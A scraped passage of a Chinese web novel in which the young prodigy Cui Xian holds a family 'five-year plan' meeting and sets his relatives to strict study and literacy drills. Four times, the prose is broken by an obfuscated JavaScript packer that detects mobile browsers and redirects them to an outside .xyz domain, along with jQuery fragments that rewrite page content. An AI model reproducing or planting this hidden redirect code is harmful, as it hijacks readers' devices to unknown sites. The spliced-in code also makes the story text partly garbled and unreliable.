百姓们散去崔宅则是开了整整二十桌席面招待钦差、与县衙、府衙的官员们。 距离崔家不远的裴府大门口。 台阶上。 裴坚、庄瑾、李鹤聿、高奇四人排排坐看向崔宅四脸惊叹震撼。 庄瑾喃喃道:“真风光啊。” 高奇点头:“是吧!不过也是怪哉。往日瞧见岘弟出风头我替他开心的同时也会自卑。但今日好像没有难受的自卑想法了。” 李鹤聿道:“因为岘弟说会教我们秘法啊!兄弟们咱以后可别瞎自卑了跟着岘弟走准没错的。” 说罢其余三人齐齐看向裴坚。 裴坚一愣随后失笑道:“看**嘛放心。我也不自卑了更不会像以前那样脑子一热做蠢事儿了。因为我也想明白了一些事情。” 什么事情啊? 迎着兄弟们疑惑的目光裴坚认真道:“我祖父骗我说因为我替岘弟报考导致岘弟出事的那个晚上我一个人想了很多。” “哪怕后来知道岘弟没事但有些想法我仍旧捋通顺了。” “一是我确实不如岘弟。但也不必妄自菲薄 “我要立起来以后不管是岘弟还是你们。不管哪个需要帮助我都能第一时间去做你们的后盾。” 听到这番话兄弟们都愣住了。 而后大家互相对视都看懂了彼此眼睛里的坚定—— 咱们莫要再瞎想啦跟着岘弟好好学才是最正经的! 兄弟们就该一起扶持一起向前走啊! 巧了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088408|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 崔家人也是这么想的。 授匾仪式后,崔家彻底成为南阳百姓口中的‘第一名门望族’、‘南阳崔氏’。 老崔氏每每听到这话,都觉得有点慌。 虽然她自个儿总是喜欢说‘南阳崔氏’,可这话由别人说出来,她虚啊! 她想真的带领崔家,堂堂正正的成为‘南阳崔氏’。 还有陈氏、林氏两人。 一跃成为南阳最红、最年轻的两位尊贵年轻夫人,备受追捧,宴席请柬甚至都夸张的排到了好几个月后头。 但像是普通的喝茶啊,赏花啊,还好。 还有些后宅夫人附弄风雅,喜欢搞个文会之类的,大字不识的陈氏、林氏,怎么敢去? 更离谱的是—— 南阳夫人圈里如今都在盛传,林氏、陈氏二人‘手腕高明、心思深沉’。 理由是:当时小神童暗中参加科举,这两位夫人面不改色在线辟谣,装的跟真的似的! 对此林氏、陈氏二人表示:谁?我们俩吗? 总之,随着崔岘夸张般弹射起飞,他的兄弟、亲人们,都分别感受到了莫大的压力。 大家迫不及待的,想要跟上步伐,提升自我! 于是授匾仪式结束后的第三日。 崔岘正在卧房里温书。 他的房门突然被叩开。 老崔氏、陈氏、林氏,崔钰,崔璇,以及裴坚、庄瑾、李鹤聿、高奇等一大群人,如约好了一般,呼啦啦全都涌了进来。 卧房都快被他们给挤满了! 崔岘被吓了一跳:“怎么了这是?” 众人赧然对视,而后七嘴八舌开口。 “岘哥儿,你教娘识字吧!” “对对,岘哥儿,大伯母也想学!” “岘哥儿,祖母想跟你学如何经商,祖母想做大生意赚钱呐!” “岘弟,你教大哥们学习秘法吧!” “我们虽然笨,但不想给你拖后腿,也想成为你的依靠和后盾。” “对对,我们太想进步了!” ? 118、崔氏集团第一个五年计划(上) 拥挤的卧房里。 听闻众人七嘴八舌说明来意,崔岘放下手中的书,嘴角不自觉浮现出笑容。 而在他旁边的书案上,放着一封来自师祖郑霞生的信。 这封信,崔岘反复看了好几遍,心头十分熨帖温暖。 他能感受到这位素未谋面,却对自己谆谆教诲的师祖,传递来的关切与善意。 所以,崔岘也懂了师祖的意思。 个人成长不能懈怠。 同时也得带动身边人,为自己铸就一张结实的‘关系网’啊。 迎着众人迫切的眼神,崔岘站起来,笑道:“你们的意思我懂了,走,去堂屋。咱们开个会,合计合计。 “对了,把我爹、我大伯,还有我老师,都喊来吧。 啊? 开会?什么开会? 眼看众人神情疑惑,崔岘笑了笑,也不解释。 当然是开一个关于‘崔氏集团第一个五年计划’的战略会议啊! 既然都这么想进步,可以啊。 咱们先把章程规划议出来,写好‘企划书’,每个人都得签字画押。 白纸黑字一写,谁都赖不掉。 不然我怎么知道,你们是真的想进步,还是脑子一热,过几天就放弃了呢! 堂屋。 按照崔岘的意思,众人把好几个方桌、拼成长桌。 再搬来椅子,大家在两侧相对而坐。 每个人的位置上,都放有笔墨、纸张,和一盏茶。 一个简易的‘古代版会议室’就布置好了。 老崔氏等人坐在各自的位置上,大气都不敢喘一下。 怪哉,明明也就几张桌子拼一起而已,怎么突然就觉得……气氛莫名变得凝重起来了呢。 不久后。 东莱先生、崔伯山、崔仲渊先后到场坐下。三人的神情,和其余人一样疑惑。 “既然人都到齐了,那咱就开始吧。 崔岘喝了口茶,轻咳一声,一本正经道:“会议开始之前呢,我先简单讲两句哈。 一帮人懵逼的看着他。 崔岘放下茶盏:“鉴于你们每个人都很想进步,经过慎重思考,我决 定带着你们一起学习成长。” “从即日起到五年后这段时间便是你们的学习时间。” “若到时候你们学有所成我会酌情考虑带你们所有人一起去开封发光发热创造辉煌!” 天呐! 听闻这话众人眼睛都齐齐亮起来神情既振奋又期待。 但总觉得少了点什么? 崔岘又咳了一声暗示性敲了敲桌子。 别人还在疑惑。 裴坚第一个反应过来使劲开始鼓掌:“好!说得好!” 大家如梦初醒跟着开始鼓掌叫好。 堂屋里响起雷鸣般的掌声。 崔岘舒服了。 他又喝了一口茶笑着说道:“好了好了看来大家都很热情啊!我先来公布今日会议的主题:十年后你多大岁数了你觉得自己会成为什么样的人?” 五年计划十年成长。 要先看到成长才能认真去执行计划啊! 换句话说今天崔岘要把大家的鸡血打得足足的! 啊? 听到这个奇怪的议题众人都很是茫然。 唯有东莱先生瞥了一眼自家小徒弟神情惊异——崔岘还懂心学? 这个议题看似很普通实则包含了很多东西:比如在场众人对什么最感兴趣渴望什么下意识觉得自己擅长什么想成为什么样的人。 而崔岘打算以今日众人的回答为他们量身定制未来的发展规划。 并引导他们朝着既定目标方向前进。 堂屋里一片沉默大家或茫然、或沉思、或忸怩没人开口。 崔岘笑道:“大哥你给大家打个样!” 裴坚在一片鼓掌声中站了起来眼睛亮亮的:“我今年12岁十年后22岁。嗯 说到这里。 小裴少爷难得有些赧然但还是在崔岘的鼓励下鼓足勇气道:“应该是吏部的官!我祖父说吏部是最厉害的!而且不必有太多真才实学心眼子够了就能混出头!这个我最擅长啦!” 豁! 崔岘竖起 大拇指:“大哥,那你十年后,少说也得是个吏部侍郎! 裴坚茫然道:“吏部侍郎是啥级别的官? 绝了,要不说初生牛犊不怕虎呢!官职都没弄明白,就敢嚷嚷自己要进吏部了。 崔岘笑道:“跟那天来给我家送牌匾的钦差大臣,是一个级别,正三品。 天呐! 裴坚笑的嘴角都合不拢,微胖的脸上是藏不住的激动和兴奋,眼睛里更是充满幻想期待。 可以吗,他真的可以吗? 大概是被裴坚激励到了。 老崔氏第二个站起来,红着脸说道:“我今年47啦,十年后,我57岁!那个时候,我要带领咱们崔家,成为南阳……额,成为河南第一名门望族! 崔岘一边鼓掌,一边笑道:“大胆一点,咱不做河南第一,咱就做大梁第一名门望族!祖母您,要做大梁第一女霸总! 老崔氏疑惑道:“什么是女霸总? 崔岘轻‘额’一声,解释道:“就是大梁第一女首富!名下产业不计其数、工人不计其数,钱财不计其数! 老崔氏想想那个画面,苍老的眼睛里满是憧憬,脸色涨的通红。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088409|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 但除了她俩,其余人都没有好意思站起来。 崔岘开始点名:“娘,你来说说嘛。来,大家给我娘鼓鼓掌! 陈氏红着脸站起来,讷讷道:“哎哟,我……我也想不了十年那么长。我今年26啦,十年后,我36……希望我数钱数到手软吧。 众人发出善意哄笑。 崔岘却循循善诱道:“娘喜欢数钱?那你有没有想过,帮祖母一起,发展咱们崔家的事业呢?到时候,咱们家那么多产业,那么多工人,赚的钱都数不明白。 “娘你来负责记账,数钱,做咱们崔氏的钱袋子!到时候,数以万计的工人,都得等着娘你给他们开月钱呢! 未来‘崔氏财务总监’有了! 啊? 陈氏瞠目,整个人都有些恍惚:“我……我可以吗? 崔岘打下了今天最猛的一波鸡血:“只要跟着我好好学,娘肯定可以,其余人,也都可以! 老崔氏一拍脑袋:“老二媳妇,你肯定行!以前家里的账,我跟老大媳妇算不明白,都是你来算的! 闻言,陈氏激动的脸色都红了,甚至有泪水在眼睛里打转。 不知道为什么,她莫名就是很想哭。 林氏甚至抢先一步哭了,她狠狠擦了擦眼睛,站起来,颤声道:“岘哥儿,我,我27啦,十年后37。刚才我都没好意思说,但既然你娘都开口了,我也想说说。” “我……我一直都自诩咱们崔家长媳,以前总幻想着,操持咱们整个家。把一帮仆从管的服服帖帖,把家里收拾的井井有条。” “你说,我,我这算本事吗?” 崔现给予肯定:“算的,大伯母!以后你不仅仅只管着家里的仆从,等祖母把崔家生意做起来,你还得管着成千上万的工人呢。” 未来‘崔氏人事总监’有了。 林氏想了想那个画面,笑的眼泪怎么都止不住。 她不停的问:“可以吗,岘哥儿,大伯母这么笨,真的可以吗?” 崔岘笑道:“咱们崔家要崛起,要成为名门望族。所以大伯母,你必须要可以啊!” “不仅大伯母你可以,其余人,都可以的!来,咱们继续聊,大胆来描述十年后的你自己!” 此刻的气氛真的太好了。 在崔岘的引导下,大家打开心扉,说出了平时难以启齿的、本以为不可能实现的‘志向’。 每个人的眼睛里,都泛着赤诚的光—— 梦想,本就是最蓬勃且向上,促进人前行的动力源泉啊! 而崔岘要做的,就是替他们量身定制好学习策略,让他们在南阳沉淀五年。 而后一起拉他们去开封,共同闪耀这个时代! ? 119、崔氏集团第一个五年计划(下) 等林氏、陈氏眼泪汪汪的坐下后。 庄瑾激动的站起来磕磕巴巴说道:“岘弟我今年11十年后21啦!我也幻想着自己到时候能高中做官。” “我从小受我爹影响对做生意啊钱财往来管理都非常感兴趣也很擅长。嗯……好像不用怎么费力气 说到这里庄瑾有些赧然:“所以我的意思是说你觉得我有没有可能当户部的官。跟裴坚似的做那个……做那个户部侍郎啊?” 迎着庄瑾期待的目光崔岘给予肯定:“必须得咱大梁朝堂就需要你这样的人才!” 庄瑾开心傻了。 高奇迫不及待站起来嚷嚷道:“还有我我今年10岁十年后20!岘弟我也要做官!我爹说当大头兵最不值钱所以我想做兵部侍郎!” 李鹤聿紧跟其后:“你们都做侍郎那我也要做侍郎!不是我吹嘘我爹从小就夸我说我有他的工匠天分。” “我今年11岁十年后21我要做工部侍郎!” 好家伙! 听到这话崔岘咂舌。 你们一个个的志向都很远大嘛! 但说实话这也是崔岘第一次了解到几位大哥内心的‘梦想’。 以他的眼光来看大哥们虽然学习差了点但性格、能力方面绝对不输旁人反而优势相当明显。 若是真的能把他们成绩带起来以后步入官场做到‘侍郎’也不是没可能的! 似乎也意识到自己等人学习是短板。 裴坚紧张兮兮看向崔岘:“岘弟我们能跟着你学习秘法吗?” 在几位大哥的欢呼声中。 崔岘笑道:“当然最多七天我会把计划列出来你们等着吧。” 是时候让你们吃点应试教育的苦头了! 学吧一学一个不吱声。 受良好氛围影响崔钰也红着脸站起来:“我我今年10岁十年后20岁。我想读好多书以后做一位备受尊敬的大儒!” 崔璇则是期期艾艾道:“我今年11岁十年后21岁我……我也想跟着祖母做岘哥儿说的女霸总!” **啪 ! 大家神情一个比一个振奋,互相捧场,每一个人说完后,都给予热烈的鼓掌。 就好像他们,已经实现了梦想那般振奋。 一片热闹中,唯有崔伯山、崔仲渊兄弟二人,神情很是迷茫。 老崔氏一开始还在激动,可后来,她的目光频频看向两个儿子,苍老的眼睛里浮现出歉疚、与哀伤。 崔岘默默握住祖母的手,向她投去鼓励的目光。 随着崔家日子越过越好,家里那些曾经无法调和的内部矛盾,也是时候解决啦! 被崔岘握住的老崔氏,一下子眼睛就红了。她懂了,岘哥儿今日,不仅仅在开会。 也给了她,和两个儿子互相解脱的机会啊! 这样想着,老崔氏鼓足勇气,眼泪汪汪看向两个儿子,颤声道:“伯山,仲渊,大家都在聊,你们俩,也跟着聊聊啊。” “这些年,娘其实一直都知道,娘对不住你俩。但,娘却怎么也做不到放过自己,放过你们俩。现在咱家日子好起来了,岘哥儿也出息了。” “你们俩跟娘说,你们是不是……真的就不喜欢读书啊?如果不喜欢,咱就不读了,好不好啊?” 此言一出,满堂俱静。 所有人都震撼的看向老崔氏——魇了大半辈子的心魔,一朝解开,得经历多少个夜晚的思想争斗啊? 崔伯山、崔仲渊看向老崔氏,两个三十岁的男人,竟齐齐痛哭出声。 他们俩,等这句话,足足等了二十年呐! 无数次被老崔氏强逼着读书的时候,他们都在幻想,能不能不读了,能不能不读了啊! 其实最近,他们兄弟俩,压力也大。 考这么多年不中,最后连九岁的岘哥儿,都中了县案首! 作为岘哥儿的父亲,大伯,他俩被邀请去各种文会。又因学业不精,备受人议论。 “怎地小神童的父亲、大伯,是这般德行?” 在家里,他俩担心被老崔氏念叨,更加用心学习,准备院试—— 等等,如今院试时间已经过了啊! 往年雷打不动,都要逼着两个儿子参加院试的老崔氏,这次竟然一句也没提。 原来,娘早就想开了,放下了! 崔仲渊嚎啕大哭,他 坐在椅子上,哭的眼泪都止不住。似乎终于可以放开声来,把二十年的委屈和苦闷,都给哭出来。 二十年! 他被整整困住了二十年啊! 旁边,崔伯山揽着弟弟的肩膀,同样哭的撕心裂肺。 老崔氏不停在说‘对不起,是娘对不起你们兄弟俩,是娘错了啊’。 但崔伯山、崔仲渊兄弟二人,只是不停摇头。 祖父为守城而死,父亲死不瞑目,留下如噩梦般的狰狞遗言,困住了娘。 娘又困住了他俩。 那究竟是谁的错? 说不明白,根本说不明白的!二十年了,岂能是一句谁对谁错,就能说明白的呢? 被迫读书二十年,他们连所谓的‘梦想’都丢掉了。方才大家都在高谈论阔,唯有他俩,神情怔忪又茫然。 但现在,听到老崔氏的话后,号啕痛哭的崔家兄弟,突然也很想说上一说。 崔仲渊哽咽看向老崔氏,看向岘哥儿,看向所有人:“娘,岘哥儿,还有大家。不怕你们笑话,我……我想不到自己十年以后,会是什么模样。甚至现在,我都不敢确定,自己是不是真的,不想读书了。” “因为我以前根本没有选择的机会。” “崔家正在变好,大家都在努力,都在成长。但,能不能给我三个月时间,就三个月。我不想读书了,我想出去走走,我要想清楚,自己究竟要继续读书,还是帮家里做生意。” 崔伯山在旁边泣声点头。 显然,他也是这样想的。 老崔氏颤声道:“好,娘依你们,娘都依你们。” 崔岘走过去,拉住父亲,大伯的手,温声笑道:“爹、大伯,你们也说了,家里日子好了。所以不要再逼迫自己,也不必再给自己定三个月,或者几个月的期限。” “你们丢下书,给自己放一个长长的假期吧,咱家养得起你们俩的。爹你方才说,你想不出来,十年后的自己,会是什么样子。那你小时候呢,小时候有没有想过,自己长大了,想做什么?” “还有大伯,你也和我们说说,好不好?” 崔仲渊愣住了,在众人的注视下,他陷入追忆。而后,迟疑着道:“二十年前,爹去世后,家里突然就变得很穷很穷。我走在街上,肚子饿的不行,看到一个酒楼的伙 计在偷吃剩菜。” “那个时候我在想我要是能做酒楼的伙计就好了。这样大哥娘都不用再饿肚子了。” 崔岘神情动容。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088410|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 老崔氏更是眼泪都止不住。 崔伯山则是颤声道:“我……我想起来了我小时候想做车夫。因为爹出事的时候娘去的着急没找到车夫一路跑着去考场的。” “当时我就在想我要是个车夫就好了这样就能让娘早点到考场不至于只听到爹那一句狰狞的遗言爹肯定还有很多别的话想跟娘跟我们说的!” 这话让堂屋里的众人眼睛都红了。 大家都是很好很善良的人啊可惜被命运捉弄蹉跎半生。 老崔氏踉跄着走过去抱着两个儿子颤声哭道:“伯山仲渊都是娘的错!你们俩去做吧做你们想做的事情。” 啊? 崔仲渊、崔伯山都愣住了。 大家都在努力他们俩去做车夫去做伙计吗? 崔岘在旁边笑道:“祖母说得对大伯、父亲你们去做自己想做的事情吧。顺便用这段时间想清楚自己究竟想不想读书。” “若是真不想读了做一段时间伙计摸清楚酒楼的运作以后咱家开连锁酒楼爹你来负责。做一段时间车夫熟悉跑货押运拉人以后咱家开商队大伯你来负责!” “咱们都支棱起来!好好利用这五年时间想明白自己要干什么擅长什么朝着哪个方向努力学习。” “总之一句话有我在呢我来做大家的后盾!” “你们尽管大胆去闯荡!” 绝了。 听到这番话众人只觉得干劲儿十足! 先前他们只是模糊的想要努力、进步。 而这次‘会议’结束后大家有了清晰的目标 并且每个人都干劲十足! 在众人的注视下崔岘取出一张纸挥笔写下一行字: 距离前往开封还有1734天! 写完后他将那张纸置于桌面前。 瞧见这一行字众人不知为何突然就有了紧迫感! 崔岘笑道:“来吧咱们的第一个五年计划基本就 合计明白了。而这个计划,留给你们的时间,是1734天。” “祖母,你要做全能型商业家族领袖,所以你所有内容都要涉猎!娘,你要学习会计学!大伯母,你要学习人力资源管理。” “娘和大伯母任务最重,因为你们还得从零开始学习开蒙。” “爹,大伯暂时待定。” “阿姐暂时学秘书学吧,跟着祖母做事。” “大哥四人,加上阿兄,我会给你们制定一份学习计划,和一个硬性目标:去开封之前,考上童生。” 说罢。 崔岘一指他们身前各自的纸张,笑的格外灿烂:“会写字的签名,不会写字的按手印。五年时间,谁若是掉队,开封之行,就不带你们了。” “一旦签了字,接下来,我会给你们上难度。你们要付出十二万分努力,朝着你们说的,十年后的目标努力。” “怎么样?敢不敢赌一把?咬紧牙关拼搏,去见十年后的自己。” 这话,仿佛带有某种魔力。 众人听得热血沸腾,纷纷在身前的纸张上,签字,或者按手印! 东莱先生看着满屋子振奋不已的人,感慨万分。 小崔岘,真的很会鼓舞人心啊。 不知为何,他有种预感,在场这些如今尚且平凡的一群人,五年后,会给开封带来狠狠的震撼。 他们会蜕变成长为崔岘身上,最刚硬的盔甲。 合力将崔岘托举到最高处去! ? 120、想成功,先发疯! 次日,上午。 崔伯山、崔仲渊兄弟二人,睡了二十年来、第一个踏实的懒觉。 睡醒后,他俩懒散起床,不急不徐用过早食。而后站在自家院子里,赏花,喂鱼,发呆。 春日阳光明媚,微风和煦。 他俩表情惬意极了,从未觉得,原来最普通的日子,也能这般舒适。 活着,真好啊! 相比于他俩笑呵呵的悠闲,其余众人,则是彻底笑不出来了。 昨日,他们在‘会议上’有多激动亢奋。今日,就有多狼狈慌乱。 因为崔岘开始放大招了! 一大早。 他让仆从们帮忙,做了一个大号木板墙架子,置放在正屋门口的一侧。 昨日大家签署的‘五年企划书’,全都被张贴在了上面。 而木板墙左上角,最显眼处,是一张红墨写的字:距离前往开封还有1733天! 老崔氏早上醒来,瞧见这行字,顿时觉得头皮发麻:“昨日不是还有1734天吗,怎么才一夜过去,就剩下1733天了! 宝贵的一天,就这样被浪费掉了! 不仅老崔氏。 其余崔家人,和一大早就赶过来的裴坚、庄瑾等人,都觉得很有压力。 崔伯山、崔仲渊看着他们焦急的模样,笑的更开心了。 这时候。 两位大清早就被崔岘支使出去办事的崔家仆从,带着一箱子东西回来了。 里面是一些奇怪的牌子,写着字的布制长卷等等。 裴坚伸长脖子,好奇问道:“岘弟,这都是些什么啊? 他刚问完的下一刻。 脖子便被挂上一块牌子,崔岘笑道:“信息工牌,以后每个人都要佩戴,大家各自找你们的工牌吧。 裴坚看了看自己戴着的牌子,上面写着:裴坚,12岁,科举组。 和他一样,同属‘科举组’的,还有庄瑾、李鹤聿、高奇、崔钰四人。 陈氏、林氏、崔璇则是被分在‘扫盲组’。 至于老崔氏,被分配在‘管理组’。 除老崔氏外,东莱先生也有个‘导师组’的工牌。 崔仲渊、 崔伯山暂定‘编外组’。 大家各自戴好工牌,崔岘又把他们各自的资料信息,分组、张贴在木板墙对应的位置。 一个简单的‘企业构架墙’就做好了。 众人愣愣看着他捣鼓出来的东西,不知为何,突然就觉得压力倍增。 然而。 当崔岘在每个组的信息栏下方,写出‘秘籍宝典’的奖励后,所有人眼睛都瞪直了。 脸上都写满了对知识的渴求! 比如科举组,宝典秘籍的书名是:《五年科举三年模拟必刷真题》、《半盏茶时间少走三十年科举弯路》、《五十天冲刺上岸考童生》、《挂科后被同窗嘲笑的我成了学霸》等。 裴坚兴奋的嗷嗷叫:“我要学这个,岘弟,求你了!我要学这个,我什么都会做的!真的求求你了!” 庄瑾、李鹤聿等人,同样激动的脸色发红。 而管理组的秘籍则是:《从破产到首富只需100天》、《三句话让工人自愿加班》、《东家的自我修养》等。 老崔氏现在已经初步识字了,她盯着那几本秘籍的名字,彻底走不动道了! 至于扫盲组,针对林氏、陈氏、崔璇三人,宝典秘籍是:《工人管理手册:从入门到精通》、《从一文钱到十万两的做账技巧》等等。 她们几人尚且不识字,但经过老崔氏的解释,也露出渴求的振奋表情。 显然。 当这些书籍拿出来以后,所有人都坐不住了! 崔岘笑看向他们,问道:“想学吗?” 这些内容,自然是他整理出的,枯燥无味的复杂干货。但换个书名,一下子吸引力飙升。 “想!我们超想的!” “岘弟,快给大哥看一眼吧!大哥现在觉得浑身有蚂蚁在爬,大哥要受不了了!” 但崔岘不为所动,道:“看你们表现咯,表现的好,都可以学。祖母,你被初步任命为扫盲组的导师,带领扫盲组的成员开蒙。” 啥? 老崔氏懵了,磕磕巴巴的说道:“我?我吗?我教他们识字?” 她自己才刚开蒙没多久,还学的磕磕巴巴呢! 崔岘反手一指木板墙上的秘籍宝典:“只要你把扫盲组带出来,马上教你学秘籍!” 老崔氏激动的一上头咬牙道:“行!” 而后崔岘又看向裴坚等人:“大哥你们今天的任务是给自己盖一个家。” 什么东西? 迎着裴坚等人疑惑的目光崔岘道:“就在后院空地上盖一个类似于乡试的科举考场要一比一真实还原提前感受考场环境!” “以后你们每日在里面刷题把考场当成家!这样将来别人是进考场会紧张害怕但你们不会。” “因为你们是回家了!” 裴坚五人闻言:??? 不是我请问呢?这对吗? 但在科举秘籍宝典的诱惑下五人咬牙一商量干了! 他们去后院给自己建造‘家’。 另一边。 正屋耳房一个简易的扫盲教室很快被整理出来。 老崔氏带着林氏、陈氏、崔璇三个学生信心十足的走进去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088411|179600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 半个时辰后。 林氏嚎啕大哭:“不行娘你慢点说慢点说!我真没听懂!” 陈氏、崔璇也在抹眼泪。 老崔氏哭的比她仨还要惨:“我都教的这么明白了你们怎么还是学不会怎么还是学不会啊!” “教不了我真教不了!岘哥儿祖母要学习秘籍!让你爹、你大伯来教她们吧。” 万万没想到 崔岘想了想说道:“这不符合规矩但祖母我给你一个机会。你要是能回答出我提问的问题就可以获得一本学习秘籍。” 老崔氏一抹眼泪:“你问吧!” 这段时间勤恳学习她对自己很有信心。 崔岘眨眨眼:“请听题树上骑个猴地下一个猴一共几个猴?” 老崔氏闻言破涕而笑自信满满道:“八个猴!肯定是八个猴!我学过算数了。” “错!” 崔岘一摊手:“我说的是树上骑个猴骑马的骑。所以是两个猴!” 正在抹眼泪的陈氏、林氏等人噗嗤笑出声。 老崔氏明显是愣住了而后大怒:“不行你耍赖!哪有这样问问题的!” 说得好。 崔岘脸色正经了些,意有所指道:“祖母,商场如战场。这是最基本的手段,以后你要是做了女首富,面对的问题,可比这道题要更加复杂呢。” “而且,你连咱家的人都带不出来,谈何带领崔氏崛起?” “实在不行,咱就算了吧。” 听到这话,老崔氏当即一梗脖子:“不能算!算不了!老大媳妇,老二媳妇,崔丫头,咱们继续上课!” 片刻后。 扫盲组和她们的导师,又齐齐开始抹眼泪。 太难了啊! 至于科举组,吭哧吭哧一整天,终于把‘家’给盖好了。 五人先后坐进去那个堪称‘鸽子笼’的狭窄科举考场,还未正式开始学习,人就有点哆嗦了。 娘嘞,真的好恐怖啊! 总之这第一天。 除了编外组的悠闲兄弟二人,其余组成员都有不同程度的崩溃、慌乱、退缩。 等一天结束,到了傍晚。 众人神情恹恹的走出来,却瞧见院子里,挂了大概十几副布卷。 “想成功,先发疯!咬紧牙关向前冲!” “人生不怕重来,就怕没有将来!” “强者的天空总是蓝色的。” “拼一次富三代,拼命才能不失败!” “最困难时离成功最近!” 夕阳下,布卷随风摇摆。 一群备受打击的人,怔怔看着那些字,不知为何,浑身血液都热起来了。 ? 121、吃点应试教育的苦头吧 众所周知,成**唯一的缺点,是不能让你成功。 除此之外它真的很有用。 尤其是在鼓舞士气方面。 崔家满院子挂起来的布卷,起到的‘鸡血’效果非常立竿见影。 本来还心生退缩的众人,直接满血复活了! 尤其是老崔氏。 她被那些‘心灵毒鸡汤’鼓舞的心神激荡,迫切的想要教会儿媳、孙女开蒙,然后跟岘哥儿学习‘女首富秘籍’。 大半夜躺在床上苦思冥想,还真让她想到了一个好法子! 第二日。 老崔氏兴冲冲推开门走出来,结果好家伙! 木板墙上的倒计时天数,又变了。 距离前往开封还有1732天! 一夜过去,又少了一天。 老崔氏在木板墙旁边,深吸好几口气,突然觉得自己真的好急好急好急。 转过身,满院子‘鸡血文字’昂扬。 不行不行,得支棱起来! 47岁正是拼搏的好年纪! 于是,老崔氏找到崔伯山、崔仲渊。 让两个儿子帮忙,效仿岘哥儿的‘挂布卷’方法,在整个崔宅,都贴满了小纸条。 比如家里的桌子,上面就贴‘桌子’。 椅子上面贴‘椅子’。 除此之外,像是‘庖厨’、‘茅房’、‘走廊’、‘竹林’、‘水池’等等,都贴上对应的字条儿。 崔岘起床推开门,瞧见满院的字条,被唬了一跳。 陈氏、林氏、崔璇三脸茫然。 老崔氏嘿嘿笑出声,不怀好意道:“老大媳妇,老二媳妇,璇姐儿。你们仨,从今天起,不在房间上课了。咱们一整个家,都是你们仨的课堂。 “每天至少学习二十个字条。 “七天后,你们学习会了的字条都得撤掉。然后,你们要写出字条上的内容,才能用这些东西。 啥? 林氏愣愣道:“娘,什么意思? 老崔氏一副‘自己淋过雨就要撕烂别人的伞’的表情,理直气壮道:“意思就是,七天后,你突然内急,想要用茅房。 “那你就要先写出‘茅 房’二字,否则便不能用茅房啦。 林氏三人闻言:??? 不是,你怎么想出这么刁钻的办法的? 三位扫盲组成员顿时觉得天都塌了。 但不得不说,这个法子很管用。 扫盲组三人有了急迫感,开始自发在家里,把所有字条都紧急看了一遍。 然后把‘床’、‘碗筷’、‘茅房’等关键字,作为优先学习对象。 为了提高效率,她们仨甚至还商议分工合作学习! 由于任务重,今日扫盲三人组连掉眼泪的时间都没了,吭哧吭哧闷头学。 生怕七天后丧失‘上床睡觉’、‘用碗筷吃饭’、‘去茅房出恭’的权利。 崔岘在旁边看的满脸惊叹。 祖母是个人才啊! 不仅无师自通,参透了‘贴条疗法’。 还掌握了‘老板思维’,把‘KPI考核指标’都给整出来了! 牛哇牛哇。 这样想着,崔岘朝老崔氏竖起大拇指:“祖母,厉害啊! 老崔氏得意扬了扬眉。 她是高兴了。 但扫盲组三人,此后很长一段时间,看到纸条都哆嗦。 再晚一些时候。 东莱先生带着仆从老罗,和县衙七八个差役,抬来了整整十个箱子的……额,考生试卷。 那是南阳县十年来,所有县试中榜的童生试卷。 除此之外。 河南八个府、一个直隶州,共计87个县的,过去十年的县试录取童生考试试卷,都在送来崔家的路上。 换做别人,肯定是拿不到这么多试卷的。 但,河南布政使李端,是崔岘的师叔啊! 因此这事儿并不难办。 而这只是开始。 以后还有院试卷、府试卷、乡试卷。 总之,刷题,刷题,还特么是刷题! 应试教育的真谛就是——以考中为目标,只要学不死,就往死里学! 东莱先生作为一代名儒,见过不少大阵仗,但此刻都难免有些咂舌:“小崔岘,你这是要把你几位大哥,往死里整啊。 崔岘嘿笑道:“没办法, 科举这一关,实在太难。不下点狠功夫,怎么可能中榜呢? “老师,我想恳请您一件事。今后,让我这四位兄长从学堂退出,来崔家学习。 “您教我的时候,可否也让他们跟着也听一听? 